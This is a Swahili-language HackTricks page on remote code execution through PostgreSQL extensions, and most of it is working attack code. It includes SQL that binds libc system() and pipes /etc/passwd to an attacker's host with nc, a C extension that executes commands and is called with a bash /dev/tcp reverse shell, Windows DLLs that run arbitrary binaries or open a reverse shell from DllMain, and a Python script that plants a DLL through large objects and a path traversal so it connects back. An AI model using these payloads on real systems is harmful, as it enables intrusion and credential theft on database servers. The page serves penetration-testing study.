RCE with PostgreSQL Extensions

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Vipengele vya PostgreSQL

PostgreSQL imeendelezwa na uwezo wa kuongeza vipengele kama sehemu muhimu, kuruhusu kuunganisha vipengele kama kama vile kazi, waendeshaji, au aina za ziada kama kama vile zilijengwa kwenye programu.

Kuanzia toleo la 8.1 na kuendelea, kuna mahitaji maalum yanayowekwa kwa maktaba za vipengele: lazima zikusanywe na kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, ikisaidia matumizi ya vipengele vinavyolingana na pengine salama.

Pia, kumbuka kwamba iwapo hujui jinsi ya kupakia faili kwa kudhuru PostgreSQL unapaswa kusoma chapisho hili.

RCE katika Linux

Kwa maelezo zaidi angalia: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Utekelezaji wa amri za mfumo kutoka kwa PostgreSQL toleo la 8.1 na toleo la awali ni mchakato ambao umeelezwa wazi na ni rahisi. Inawezekana kutumia hii: Moduli ya Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Andika faili ya binary kutoka kwa base64

Ili kuandika faili ya binary katika postgres unaweza kuhitaji kutumia base64, hii itakuwa na manufaa kwa jambo hilo:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Hata hivyo, wakati jaribio lilifanywa kwenye toleo kubwa kosa lifuatalo lilionyeshwa:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Kosa hili limeelezewa katika hati ya PostgreSQL:

Ili kuhakikisha kuwa faili ya kitu iliyopakuliwa kwa kudumu haijapakiwa kwenye seva isiyolingana, PostgreSQL inachunguza kuwa faili ina "block ya uchawi" na maudhui sahihi. Hii inaruhusu seva kugundua tofauti wazi, kama vile nambari iliyokompiliwa kwa toleo kuu tofauti ya PostgreSQL. Block ya uchawi inahitajika kuanzia PostgreSQL 8.2. Ili kuongeza block ya uchawi, andika hii kwenye moja (na moja tu) ya faili za chanzo za moduli, baada ya kuingiza kichwa cha fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Tangu toleo la PostgreSQL 8.2, mchakato wa mtu anayeshambulia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba ya desturi. Maktaba hii ya desturi lazima ichapishwe kulingana na toleo kuu linalolingana la PostgreSQL na lazima iwe na "block ya uchawi" maalum. Hatua hii inaongeza sana ugumu wa kushambulia mifumo ya PostgreSQL, kwani inahitaji ufahamu wa kina wa muundo na utangamano wa toleo la mfumo.

Chapisha maktaba

Pata toleo la PostgreSQL kwa kutumia:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Kwa ajili ya utangamano, ni muhimu kwamba toleo kuu zinafanana. Kwa hiyo, kuchapisha maktaba na toleo lolote ndani ya mfululizo wa 9.6.x itahakikisha kuunganishwa kwa mafanikio.

Kuweka toleo hilo katika mfumo wako:

apt install postgresql postgresql-server-dev-9.6

Na kisha kusanya maktaba:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Kisha pakia maktaba iliyokusanywa na tekeleza amri zifuatazo:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Unaweza kupata maktaba iliyopangwa mapema kwa toleo kadhaa tofauti za PostgreSQL na hata unaweza kuautomatisha mchakato huu (ikiwa una ufikiaji wa PostgreSQL) na:

RCE katika Windows

DLL ifuatayo inachukua kama kuingiza jina la binary na idadi ya mara unayotaka kuitekeleza na kuitekeleza:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Unaweza kupata DLL iliyokompiliwa katika zip hii:

Unaweza kuonyesha kwa DLL hii ambayo faili ya binary itekelezwe na idadi ya mara itekelezwe, katika mfano huu itatekeleza calc.exe mara 2:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Katika hapa unaweza kupata reverse-shell ifuatayo:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Tazama jinsi katika kesi hii msimbo mbaya uko ndani ya kazi ya DllMain. Hii inamaanisha kuwa katika kesi hii sio lazima kutekeleza kazi iliyopakiwa katika postgresql, tu kupakia DLL kutatekeleza kabisa kifaa cha kuingia nyuma:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE katika toleo jipya la Prostgres

Katika toleo jipya la PostgreSQL, vizuizi vimeanzishwa ambapo superuser amekatazwa kupakia faili za maktaba zinazoshirikishwa isipokuwa kutoka kwenye saraka maalum, kama vile C:\Program Files\PostgreSQL\11\lib kwenye Windows au /var/lib/postgresql/11/lib kwenye mifumo ya *nix. Saraka hizi zime lindwa dhidi ya shughuli za kuandika kwa kutumia akaunti za NETWORK_SERVICE au postgres.

Licha ya vizuizi hivi, ni wawezekano kwa mtumiaji aliye na ruhusa ya superuser kwenye hifadhidata kuandika faili za binary kwenye mfumo wa faili kwa kutumia "vitu vikubwa" (large objects). Uwezo huu unajumuisha kuandika ndani ya saraka ya C:\Program Files\PostgreSQL\11\data, ambayo ni muhimu kwa shughuli za hifadhidata kama vile kusasisha au kuunda meza.

Tatizo kubwa linatokea kutokana na amri ya CREATE FUNCTION, ambayo inaruhusu kuvuka saraka na kuingia kwenye saraka ya data. Kwa hivyo, mtu aliye na ruhusa anaweza kutumia kuvuka hii kuandika faili ya maktaba inayoshirikishwa kwenye saraka ya data na kisha kuipakia. Shambulio hili linawezesha mtu kutekeleza nambari yoyote, kufikia utekelezaji wa nambari ya asili kwenye mfumo.

Mchakato wa Shambulio

Kwanza kabisa, unahitaji kutumia vitu vikubwa kuweka dll. Unaweza kuona jinsi ya kufanya hivyo hapa:

pageBig Binary Files Upload (PostgreSQL)

Baada ya kupakia kifaa cha nyongeza (kikiwa na jina la poc.dll kwa mfano huu) kwenye saraka ya data, unaweza kukiweka kwa kutumia:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note kwamba hauhitaji kuongeza kifungu cha .dll kwa sababu kazi ya kuunda itaongeza yenyewe.

Kwa habari zaidi soma uchapishaji halisi hapa. Katika uchapishaji huo hii ilikuwa nambari iliyotumiwa kuunda kifaa cha postgres (ili kujifunza jinsi ya kutekeleza kifaa cha postgres soma toleo lolote la awali). Katika ukurasa huo huo exploit ya kiotomatiki ya mbinu hii ilipewa:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Last updated